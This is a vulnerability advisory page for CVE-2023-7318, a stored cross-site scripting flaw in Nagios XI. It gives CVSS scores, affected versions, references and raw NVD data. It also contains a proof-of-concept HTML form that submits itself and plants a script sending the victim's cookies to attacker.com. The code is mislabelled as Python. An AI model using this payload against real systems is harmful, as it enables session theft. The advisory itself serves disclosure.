CVE-2023-7318

Description

Nagios XI versions prior to < 2024R1.0.2 are vulnerable to cross-site scripting (XSS) via the Nagios Core Command Expansion page. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE

Nagios XI < 2024R1.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2023-7318 PoC - Stored XSS in Nagios XI Command Expansion -->
<html>
<body>
<h2>CVE-2023-7318 XSS PoC</h2>
<form action="http://target-nagios/ nagiosxi/includes/components/ccm/index.php" method="POST">
  <input type="hidden" name="cmd" value="add">
  <input type="hidden" name="type" value="command">
  <input type="hidden" name="name" value="Malicious Command">
  <input type="hidden" name="command" value="/usr/local/nagios/libexec/check_test">
  <input type="hidden" name="args" value="'><script>alert('XSS Vulnerability CVE-2023-7318');document.location='https://attacker.com/steal?c='+document.cookie</script><!--">
  <input type="hidden" name="enabled" value="1">
  <input type="submit" value="Exploit">
</form>
<script>
// Auto-submit form for demonstration
document.forms[0].submit();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-7318
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-7318
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-7318/
[4] VulDB https://vuldb.com/cve/CVE-2023-7318
[5] https://www.nagios.com/changelog/nagios-xi/2024r1-0-2/
[6] https://www.nagios.com/products/security/#nagios-xi
[7] https://www.vulncheck.com/advisories/nagios-xi-xss-via-core-command-expansion

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-7318", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:43.773", "lastModified": "2025-11-06T16:21:11.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios XI versions prior to < 2024R1.0.2 are vulnerable to cross-site scripting (XSS) via the Nagios Core Command Expansion page. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "62CF7BF4-6AAA-443E-93B4-B2F080091C13"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1:*:*:*:*:*:*", "matchCriteriaId": "85F1764D-1DD8-44B0-BF5A-2420CB519A3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "C1FE1A0B-78D1-4626-A4CD-21B843DA596E"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/2024r1-0-2/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#nagios-xi", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-xss-via-core-command-expansion", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}